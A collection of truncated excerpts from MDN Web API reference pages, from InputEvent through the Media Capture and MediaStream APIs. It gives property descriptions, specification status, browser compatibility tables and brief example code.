...e Full support <=79Firefox ? IE ? Opera Full support 47 Full support 47 No support 46 -- 47Notes Notes photoSettings argument not supported.Safari ? ...
InputEvent.dataTransfer - Web APIs
vel 2The definition of 'dataTransfer' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rimentalChrome Full support 60Edge Full support 79Firefox Full support 67IE No support NoOpera Full support 47Safari No support No
WebView Android Full support 60Chrome Android Full support 60Firefox Android Full support 67Opera Android Full support 44Safari iOS No support NoSamsung Internet Android ...
InputEvent.getTargetRanges() - Web APIs
The definition of 'getTargetRanges()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...mentalChrome Full support 60Edge Full support 79Firefox No support NoIE No support NoOpera Full support 47Safari Full support 10.1
WebView Android Full support 60Chrome Android Full support 60Firefox Android No support NoOpera Android Full support 44Safari iOS Full support 10.3Samsung Internet Android ...
KeyboardEvent.initKeyboardEvent() - Web APIs
Web applications should use constructor instead of this if it's available. ...
... The KeyboardEvent.initKeyboardEvent() method initializes the attributes of a keyboard event object. This method was introduced in draft of DOM Level 3 Events, but deprecated in newer draft. Gecko won't support this feature since implementing this method as experimental broke existing
web apps (see bug 999645).
Web applications should use constructor instead of this if it's available. Syntax kbdEvent.initKeyboardEvent(typeArg, canBubbleArg, cancelableArg, viewArg, charArg, keyArg, locationArg, modifiersListArg, repeat) Parameters typeArg The type of keyboard event; this will be one of keydown, keypress, or keyup. canBubbleArg Whether or not the event can bubble. cancelableArg Whether or not the event can be canceled. viewArg...
KeyboardEvent.key - Web APIs
t key. Press and hold the Shift key, then press and hold 2. Release the Shift key. Finally, release 2. ...
...xtarea> <button type="button" name="btn-clear-console" id="btn-clear-console">clear console</button> </div> <div class="flex"> <pre id="console-log"></pre> </div> </div> CSS .fx { -
webkit-display: flex; display: flex; margin-left: -20px; margin-right: -20px; } .fx > div { padding-left: 20px; padding-right: 20px; } .fx > div:first-child { width: 30%; } .flex { -
webkit-flex: 1; flex: 1; } #test-target { display: block; width: 100%; margin-bottom: 10px; } JavaScript let textarea = document.getElementById('test-target'), consoleLog = document.getElementById('console-log'), btnClearConsole = document.getElementById('btn-clear-console'); function logMessage(message) { document.getElementById("console-log").innerHTML += message + "<br>"; } textare...
Keyboard API - Web APIs
The Keyboard API provides methods for working with a physical keyboard that is attached to a device running a browser. It provides several capabilities. Keyboard mapping provides an interface for retrieving the string generated by particular physical key on a keyboard to correctly identify that key to a user. Keyboard locking enables a
web page to capture keys that are normally reserved by the user agent or the underlying operating system. The intended use of the Keyboard API is by
web applications such as games or remote access apps that provide a full-screen immersive experience. Keyboard API concepts and usage Keyboard mapping On physical keyboards, the code attribute contains the physical location of the key that was pressed, and the key attribute contains the string gener...
...pecific or layout-specific string associated with the key labeled W on an English QWERTY keyboard. if (navigator.keyboard) { var keyboard = navigator.keyboard; keyboard.getLayoutMap() .then(keyboardLayoutMap => { var upKey = keyboardLayoutMap.get('KeyW'); window.alert('Press ' + upKey + ' to move up.'); }); } else { // Do something else. } Keyboard locking Richly interactive
web pages, games, and remote-streaming experiences often require access to special keys and keyboard shortcuts while in full-screen mode. Examples of such key/key combinations include Escape, Alt+Tab, and Ctrl+N. Those keys and key combinations are typically captured by the user agent or the underlying operating system, as illustrated in the following example. To capture the "W", "A", "S", and "D" k...
KeyframeEffect - Web APIs
These can then be played using the Animation() constructor. Constructor KeyframeEffect() Returns a new KeyframeEffect object instance, and also allows you to clone an existing keyframe effect object instance. Properties KeyframeEffect.target Gets and sets the element, or originating element of the pseudo-element, being animated by this object. This may be null for animations that do not target a specific element or pseudo-element. KeyframeEffect.pseudoElement Gets and sets the selector of the pseudo-element being animated by this object. ...
... Working Draft Initial definition ...
KeyframeEffectOptions - Web APIs
These properties are all optional, although without setting a duration the animation will not play. Simply put, these properties describe how the user agent should go about making the transition from keyframe to keyframe, and how to behave when the animation begins and ends. Properties composite Optional Determines how values are combined between this animation and other, separate animations that do not specify their own specific composite operation. Defaults to replace. ...
...first iteration for example, and with this value set, an animation with 2 iterations would end halfway through a third iteration. Defaults to 0.0. iterations Optional The number of times the animation should repeat. Defaults to 1, and can also take a value of Infinity to make it repeat for as long as the element exists. Specifications Specification Status Comment
Web Animations Level 2The definition of 'KeyframeEffectOptions' in that specification. Draft Added the iterationComposite option.
Web AnimationsThe definition of 'KeyframeEffectOptions' in that specification. Working Draft Initial definition. ...
LargestContentfulPaint - Web APIs
The timing of this paint is a good heuristic for when the main page content is available during load. Properties LargestContentfulPaint.element The element that is the current largest contentful paint. LargestContentfulPaint.renderTime The time the element was rendered to the screen. May not be available if the element is a cross-origin image loaded without the Timing-Allow-Origin header. LargestContentfulPaint.loadTime The time the element was loaded. ...
...t entries and logs the LCP value to the console. This example also demonstrates how to include buffered entries (those that ocurred before observer() was called), which is done by setting the buffered option to true. Note that in this example data is only sent to the server when the user leaves the tab. // Catch errors since some browsers throw when using the new `type` option. // https://bugs.
webkit.org/show_bug.cgi?id=209216 try { let lcp; const po = new PerformanceObserver((entryList) => { const entries = entryList.getEntries(); const lastEntry = entries[entries.length - 1]; // Update `lcp` to the latest value, using `renderTime` if it's available, // otherwise using `loadTime`. (Note: `renderTime` may not be available on // image elements loaded cross-origin w...
LayoutShift - Web APIs
Properties LayoutShift.value Returns the impact fraction (fraction of the viewport that was shifted) times the distance fraction (distance moved as a fraction of viewport). LayoutShift.hadRecentInput Returns true if there was a user input in the past 500 milliseconds. LayoutShift.lastInputTime Returns the time of the most recent user input. LayoutShift.sources Returns an array of LayoutShiftAttribution objects with information on the elements that were shifted. ...
...with information on the elements that were shifted. Methods LayoutShift.toJSON() Converts the properties to JSON. Examples The following example shows how to capture layout shifts and log them to the console. Note that in this example data is only sent to the server when the user leaves the tab. // Catch errors since some browsers throw when using the new `type` option. // https://bugs.
webkit.org/show_bug.cgi?id=209216 try { let cumulativeLayoutShiftScore = 0; const observer = new PerformanceObserver((list) => { for (const entry of list.getEntries()) { // Only count layout shifts without recent user input. if (!entry.hadRecentInput) { cumulativeLayoutShiftScore += entry.value; } } }); observer.observe({type: 'layout-shift', buffered: true}); docum...
Locks.name - Web APIs
read-only property of the Lock interface returns the name passed to LockManager.request selected when the lock was requested. The name of a lock is passed by script when the lock is requested. The name is selected by the developer to represent an abstract resource for which use is being coordinated across multiple tabs, workers, or other code within the origin. For example, if only one tab of a
web application should be synchronizing network resources with an offline database, it could use a lock name such as "net_db_sync". Syntax var name = Lock.name Value A DOMString. Example The following examples show how the name property passed in the call to LockManager.request(). LockManager is the object returned by navigator.locks. navigator.locks.request("net_db_sync", show_lock_propertie...
...show how the name property passed in the call to LockManager.request(). LockManager is the object returned by navigator.locks. navigator.locks.request("net_db_sync", show_lock_properties); function show_lock_properties(lock) { console.log(`The lock name is: ${lock.name}`); console.log(`The lock mode is: ${lock.mode}`); } Specifications Specification Status Comment
Web Locks APIThe definition of 'name' in that specification. Draft Initial definition. ...
Lock - Web APIs
Properties Lock.mode Read only Returns the access mode passed to LockManager.request() when the lock was requested. The mode is either "exclusive" (the default) or "shared". Lock.name Read only Returns the name passed to LockManager.request() when the lock was requested. Examples The following examples show how the mode and name properties are passed in the call to LockManager.request(). LockManager is the object returned by navigator.locks. ...
...ger is the object returned by navigator.locks. navigator.locks.request("net_db_sync", show_lock_properties); navigator.locks.request("another_lock", {mode: "shared"}, show_lock_properties); function show_lock_properties(lock) { console.log(`The lock name is: ${lock.name}`); console.log(`The lock mode is: ${lock.mode}`); } Specifications Specification Status Comment
Web Locks APIThe definition of 'Lock' in that specification. Draft Initial definition. ...
MIDIAccess - Web APIs
Properties MIDIAccess.inputs Read only Returns an instance of MIDIInputMap which provides access to any available MIDI input ports. MIDIAccess.outputs Read only Returns an instance of MIDIOutputMap which provides access to any available MIDI output ports. MIDIAccess.sysexEnabled Read only A boolean attribute indicating whether system exclusive support is enabled on the current MIDIAccess instance. Event Handlers MIDIAccess.onstatechange Called whenever a new MIDI port is added or an existing port changes state. ...
... ...
MSCandidateWindowHide - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. MSCandidateWindowHide fires after the Input Method Editor (IME) candidate window closes and is fully hidden. This proprietary method is specific to Internet Explorer. General info Synchronous No Bubbles No Cancelable No Note Windows 8.1 and Windows 7 IMEs for certain languages on Internet Explorer for the desktop might not support this event. ...
... See also Microsoft API extensions IME handling guide for Gecko ...
MSCandidateWindowShow - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. MSCandidateWindowShow fires immediately after the Input Method Editor (IME) candidate window is set to appear, but before it renders. This proprietary method is specific to Internet Explorer. ...
...e) Parameters pEvtObj [in] Type: IHTMLEventObj Pointer to an IHTMLEventObj interface for the current event. This event fires after the positioning information of the IME candidate window has been determined. You can obtain the positioning information using the getCandidateWindowClientRect method, and adjust your layout as needed to avoid any occlusions with the IME candidate window.
Web applications need only register for this event once per element (the handler will remain valid for the lifetime of the element). Example in IE11, developers can detect the opening of the IME candidate window by listening to MSCandidateWindowShow event, then call getCandidateWindowClientRect() function to find out where the candidate window is and position the suggestion UI away from it: var co...
MSCandidateWindowUpdate - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. MSCandidateWindowUpdate fires after the Input Method Editor (IME) candidate window has been identified as needing to change size, but before any visual updates have rendered. This proprietary method is specific to Internet Explorer. ...
... addEventListener Method object.addEventListener("MSCandidateWindowUpdate", handler, useCapture) Parameters pEvtObj [in] Type: IHTMLEventObj Pointer to an IHTMLEventObj interface for the current event. TAn IME candidate window may be identified as needing to change size for any of the following reasons: As a result of displaying new / changed alternatives or predictions
Web applications need only register for this event once per element (the handler will remain valid for the lifetime of the element). See also Microsoft API extensions IME handling guide for Gecko ...
MediaDeviceInfo.deviceId - Web APIs
e definition of 'deviceId' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...efox Full support 39IE No support NoOpera No support NoNotes No support NoNotes Notes This property can be used in Opera by using the adapter.js polyfill.Safari No support No
WebView Android Full support 55Notes Full support 55Notes Notes For earlier versions, this interface is available through the adapter.js polyfillChrome Android Full support 55Notes Full support 55Notes Notes For earlier v...
MediaDeviceInfo.kind - Web APIs
msThe definition of 'kind' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...efox Full support 39IE No support NoOpera No support NoNotes No support NoNotes Notes This property can be used in Opera by using the adapter.js polyfill.Safari No support No
WebView Android Full support 55Notes Full support 55Notes Notes For earlier versions, this interface is available through the adapter.js polyfillChrome Android Full support 55Notes Full support 55Notes Notes For earlier v...
MediaDevices.getDisplayMedia() - Web APIs
See Using the Screen Capture API for more details and an example. ...
... Specifications Specification Status Comment Screen CaptureThe definition of 'MediaDevices.getDisplayMedia()' in that specification. Working Draft Initial definition ...
MediaElementAudioSourceNode - Web APIs
mouse pointer is moved, the updatePage() function is invoked, which calculates the current gain as a ratio of mouse Y position divided by overall window height. You can therefore increase and decrease the volume of the playing music by moving the mouse pointer up and down. Note: You can also view this example running live, or view the source. ...
... Working Draft ...
MediaKeyMessageEvent() - Web APIs
parsing them. message: An array containing the message generated by the content decryption module. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...idFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetMediaKeyMessageEvent() constructor ExperimentalChrome Full support 42Edge Full support <=18Firefox ? IE ? Opera ? Safari ?
WebView Android No support NoChrome Android Full support 42Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android Full support 4.0Legend ...
MediaKeyMessageEvent - Web APIs
when the content decryption module generates a message for the session. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/MediaKeyMessageEvent" target="_top"><rect x="116" y="1" width="200" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="216" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">MediaKeyMessageEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} C...
MediaKeySession.onkeystatuseschange - Web APIs
a session. This interface inherits from the ExtendableEvent interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/MediaKeySession" target="_top"><rect x="151" y="1" width="150" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">MediaKeySession</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Syntax Med...
MediaKeySession.onmessage - Web APIs
ion module. This interface inherits from the ExtendableEvent interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/MediaKeySession" target="_top"><rect x="151" y="1" width="150" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">MediaKeySession</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Syntax Med...
MediaKeyStatusMap.entries() - Web APIs
on Status Comment Encrypted Media Extensions Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...oidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetentries ExperimentalChrome Full support 42Edge Full support 16Firefox ? IE ? Opera Full support 29Safari ?
WebView Android Full support 43Chrome Android Full support 42Firefox Android ? Opera Android Full support 29Safari iOS ? Samsung Internet Android Full support 4.0L...
MediaKeyStatusMap.forEach() - Web APIs
on Status Comment Encrypted Media Extensions Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...oidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetforEach ExperimentalChrome Full support 42Edge Full support 13Firefox ? IE ? Opera Full support 29Safari ?
WebView Android Full support 43Chrome Android Full support 42Firefox Android ? Opera Android Full support 29Safari iOS ? Samsung Internet Android Full support 4.0L...
MediaKeyStatusMap.get() - Web APIs
on Status Comment Encrypted Media Extensions Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ra for AndroidSafari on iOSSamsung Internetget ExperimentalChrome Full support 42Edge Full support 13Firefox Full support YesIE ? Opera Full support 29Safari ?
WebView Android Full support 43Chrome Android Full support 42Firefox Android Full support YesOpera Android Full support 29Safari iOS ? Samsung Internet Android Full support ...
MediaKeyStatusMap.has() - Web APIs
on Status Comment Encrypted Media Extensions Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ra for AndroidSafari on iOSSamsung Internethas ExperimentalChrome Full support 42Edge Full support 13Firefox Full support YesIE ? Opera Full support 29Safari ?
WebView Android Full support 43Chrome Android Full support 42Firefox Android Full support YesOpera Android Full support 29Safari iOS ? Samsung Internet Android Full support ...
MediaKeyStatusMap.keys() - Web APIs
on Status Comment Encrypted Media Extensions Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetkeys ExperimentalChrome Full support 42Edge Full support 16Firefox ? IE ? Opera Full support 29Safari ?
WebView Android Full support 43Chrome Android Full support 42Firefox Android ? Opera Android Full support 29Safari iOS ? Samsung Internet Android Full support 4.0L...
MediaKeyStatusMap.size - Web APIs
a ExtensionsThe definition of 'size' in that specification. Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...a for AndroidSafari on iOSSamsung Internetsize ExperimentalChrome Full support 42Edge Full support 13Firefox Full support YesIE ? Opera Full support 29Safari ?
WebView Android Full support 43Chrome Android Full support 42Firefox Android Full support YesOpera Android Full support 29Safari iOS ? Samsung Internet Android Full support ...
MediaKeyStatusMap.values() - Web APIs
on Status Comment Encrypted Media Extensions Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...roidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetvalues ExperimentalChrome Full support 42Edge Full support 16Firefox ? IE ? Opera Full support 29Safari ?
WebView Android Full support 43Chrome Android Full support 42Firefox Android ? Opera Android Full support 29Safari iOS ? Samsung Internet Android Full support 4.0L...
MediaMetadata.album - Web APIs
dia Session StandardThe definition of 'album' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...SSamsung Internetalbum ExperimentalChrome Full support 57Edge No support NoFirefox Full support 71IE No support NoOpera Full support YesSafari ?
WebView Android No support NoChrome Android Full support 57Firefox Android ? Opera Android No support NoSafari iOS ? Samsung Internet Android Full support 7.0Legen...
MediaMetadata.artist - Web APIs
ia Session StandardThe definition of 'artist' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Samsung Internetartist ExperimentalChrome Full support 57Edge No support NoFirefox Full support 71IE No support NoOpera Full support YesSafari ?
WebView Android No support NoChrome Android Full support 57Firefox Android ? Opera Android No support NoSafari iOS ? Samsung Internet Android Full support 7.0Legen...
MediaMetadata.artwork - Web APIs
a Session StandardThe definition of 'artwork' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...amsung Internetartwork ExperimentalChrome Full support 57Edge No support NoFirefox Full support 71IE No support NoOpera Full support YesSafari ?
WebView Android No support NoChrome Android Full support 57Firefox Android ? Opera Android No support NoSafari iOS ? Samsung Internet Android Full support 7.0Legen...
MediaMetadata.title - Web APIs
dia Session StandardThe definition of 'title' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...SSamsung Internettitle ExperimentalChrome Full support 57Edge No support NoFirefox Full support 71IE No support NoOpera Full support YesSafari ?
WebView Android No support NoChrome Android Full support 57Firefox Android ? Opera Android No support NoSafari iOS ? Samsung Internet Android Full support 7.0Legen...
MediaRecorder.audioBitsPerSecond - Web APIs
The definition of 'audioBitsPerSecond' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Opera Android Full support 36Safari iOS No support NoSamsung Internet Android Full support ...
MediaRecorder.mimeType - Web APIs
; if you write media using a codec that is not supported by a given media container, the resulting file may not work reliably if at all when you try to play it back. See our media type and format guide for information about container and codec support across browsers. Note: The term "MIME type" is officially considered to be historical; these strings are now officially known as media types. MDN
Web Docs content uses the terms interchangeably. Syntax var mimeType = mediaRecorder.mimeType Value The MIME media type which describes the format of the recorded media, as a DOMString. This string may include the codecs parameter, giving details about the codecs and the codec configurations used by the media recorder. The media type strings are standardized by the Internet Assigned Numbers Aut...
...string may include the codecs parameter, giving details about the codecs and the codec configurations used by the media recorder. The media type strings are standardized by the Internet Assigned Numbers Authority (IANA). For their official list of defined media type strings, see the article Media Types on the IANA site. See also media types to learn more about media types and how they're used in
web content and by
web browers. Example ... if (navigator.mediaDevices) { console.log('getUserMedia supported.'); var constraints = { audio: true, video: true }; var chunks = []; navigator.mediaDevices.getUserMedia(constraints) .then(function(stream) { var options = { audioBitsPerSecond: 128000, videoBitsPerSecond: 2500000, mimeType: 'video/mp4' } ...
MediaRecorder - Web APIs
The MediaRecorder interface of the MediaStream Recording API provides functionality to easily record media. It is created using the MediaRecorder() constructor. Constructor MediaRecorder() Creates a new MediaRecorder object, given a MediaStream to record. Options are available to do things like set the container's MIME type (such as "video/
webm" or "video/mp4") and the bit rates of the audio and video tracks or a single overall bit rate. Properties MediaRecorder.mimeType Read only Returns the MIME type that was selected as the recording container for the MediaRecorder object when it was created. MediaRecorder.state Read only Returns the current state of the MediaRecorder object (inactive, recording, or paused.) MediaRecorder.stream Read only Returns the stream that was pass...
...Some lines have been omitted for brevity; refer to the source for the complete code. Specifications Specification Status Comment MediaStream Recording Working Draft Initial definition ...
MediaSession.playbackState - Web APIs
ion StandardThe definition of 'playbackState' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...nternetplaybackState ExperimentalChrome Full support 73Edge Full support <=79Firefox No support NoIE No support NoOpera Full support YesSafari ?
WebView Android No support NoChrome Android Full support 57Firefox Android No support NoOpera Android No support NoSafari iOS ? Samsung Internet Android Full support ...
MediaSource - Web APIs
t can be attached to a HTMLMediaElement to be played in the user agent. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/MediaSource" target="_top"><rect x="151" y="1" width="110" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">MediaSource</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor Medi...
MediaStream.getTracks() - Web APIs
finition of 'getTracks()' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...talChrome Full support 45Edge Full support 12Firefox Full support YesIE No support NoOpera Full support YesSafari Full support Yes
WebView Android Full support 45Chrome Android Full support 45Firefox Android Full support YesOpera Android No support NoSafari iOS Full support YesSamsung Internet Android ...
MediaStream.id - Web APIs
inition of 'MediaStream.id' in that specification. Candidate Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...roidOpera for AndroidSafari on iOSSamsung InternetidChrome No support ? -- 54Edge No support 12 -- 79Firefox Full support 41IE No support NoOpera No support ? -- 39Safari Full support Yes
WebView Android No support ? -- 54Chrome Android No support ? -- 54Firefox Android Full support 41Opera Android No support ? -- 41Safari iOS Full support YesSamsung Internet Android No support ? -- 6.0Legend ...
MediaStreamAudioDestinationNode.MediaStreamAudioDestinationNode() - Web APIs
The MediaStreamAudioDestinationNode() constructor of the
Web Audio API creates a new MediaStreamAudioDestinationNode object instance. Syntax var myAudioDest = new MediaStreamAudioDestinationNode(context, options); Parameters Inherits parameters from the AudioNodeOptions dictionary. context An AudioContext representing the audio context you want the node to be associated with. options Optional An AudioNodeOptions dictionary object defining the properties you want the MediaStreamAudioDestinationNode to have. Return value A new MediaStreamAudioDestinationNode object instance. ...
...to be associated with. options Optional An AudioNodeOptions dictionary object defining the properties you want the MediaStreamAudioDestinationNode to have. Return value A new MediaStreamAudioDestinationNode object instance. Example var ac = new AudioContext(); var myDestination = new MediaStreamAudioDestinationNode(ac); Specifications Specification Status Comment
Web Audio APIThe definition of 'MediaStreamAudioDestinationNode' in that specification. Working Draft ...
MediaStreamAudioDestinationNode - Web APIs
It is an AudioNode that acts as an audio destination, created using the AudioContext.createMediaStreamDestination method. Number of inputs 1 Number of outputs 0 Channel count 2 Channel count mode "explicit" Channel count interpretation "speakers" Constructor MediaStreamAudioDestinationNode.MediaStreamAudioDestinationNode() Creates a new MediaStreamAudioDestinationNode object instance. ...
... Working Draft ...
MediaStreamTrack.applyConstraints() - Web APIs
Constraints can be used to ensure that the media meets certain guidelines you prefer. For example, you may prefer high-density video but require that the frame rate be a little low to help keep the data rate low enough not overtax the network. Constraints can also specify ideal and/or acceptable sizes or ranges of sizes. ...
... constraints cannot be applied, the promise is rejected with a MediaStreamError whose name is OverconstrainedError, to indicate that the constraints could not be met. This can happen if the specified constraints are too strict to find a match when attempting to configure the track. Examples The following shows how to specify a basic and advanced set of constraints. It specifies that the page or
web app needs a width between 640 and 1280 and a height between 480 and 720, with the later number in each pair being preferred. The advanced property further specifies that an image size of 1920 by 1280 is the preferred or an aspect ratio of 1.333 if that is not available. Note that these constraints also illustrate what the spec refers to as a backoff strategy. const constraints = { width: {min:...
MediaStreamTrack.getConstraints() - Web APIs
Constraints can be used to ensure that the media meets certain guidelines you prefer. ...
...ttle low to help keep the data rate low enough not overtax the network. Constraints can also specify ideal and/or acceptable sizes or ranges of sizes. See Capabilities, constraints, and settings for details on how to work with constrainable properties. Syntax const constraints = track.getConstraints() Return value A MediaTrackConstraints object which indicates the constrainable properties the
Web site or app most recently set using applyConstraints(). The properties in the returned object are listed in the same order as when they were set, and only properties specifically set by the site or app are included. Note: The returned set of constraints doesn't necessarily describe the actual state of the media. Even if any of the constraints couldn't be met, they are still included in the retu...
MediaStreamTrack - Web APIs
ties listed below, MediaStreamTrack has constrainable properties which can be set using applyConstraints() and accessed using getConstraints() and getSettings(). See Capabilities, constraints, and settings to learn how to correctly work with constrainable properties. Not doing so correctly will result in your code being unreliable. MediaStreamTrack.contentHint A string that may be used by the
web application to provide a hint as to what type of content the track contains to guide how it should be treated by API consumers. MediaStreamTrack.enabled A Boolean whose value of true if the track is enabled, that is allowed to render the media source stream; or false if it is disabled, that is not rendering the media source stream but silence and blackness. If the track has been disconnected, t...
...aints specified for the track cause the track to be incompatible and therefore to not be used. Also available through the onoverconstrained event handler property. unmute Sent to the track when data becomes available again, ending the muted state. Also available through the onunmute event handler property. Specifications Specification Status Comment Identity for
WebRTCThe definition of 'Isolated tracks' in that specification. Candidate Recommendation Additional properties for isolated track support Media Capture and StreamsThe definition of 'MediaStreamTrack' in that specification. Candidate Recommendation Initial definition ...
MediaStreamTrackAudioSourceNode - Web APIs
The audio itself might be input from a microphone or other audio sampling device, or might be received through a RTCPeerConnection, among other posible options. A MediaStreamTrackAudioSourceNode has no inputs and exactly one output, and is created using the AudioContext.createMediaStreamTrackSource() method. ...
... Working Draft ...
MediaStreamTrackAudioSourceOptions.mediaStreamTrack - Web APIs
kAudioSourceOptions.mediaStreamTrack = audioSourceTrack; Value A MediaStreamTrack from which the audio output of the new MediaStreamTrackAudioSourceNode will be taken. Example This example uses getUserMedia() to obtain access to the user's camera, then creates a new MediaStreamAudioSourceNode from the first audio track provided by the device. ...
... Working Draft ...
MediaStreamTrackEvent - Web APIs
methods. These events are sent to the stream when these changes occur. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/MediaStreamTrackEvent" target="_top"><rect x="116" y="1" width="210" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">MediaStreamTrackEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} ...
Using the Media Capabilities API - Web APIs
eo MIME type. The width and height are the horizontal and vertical dimensions of the video; these are also used to determine the aspect ratio. The bitrate is the number of bits used to encode one second of video. The framerate is the number of frames which are played per second of time when playing the video. ...
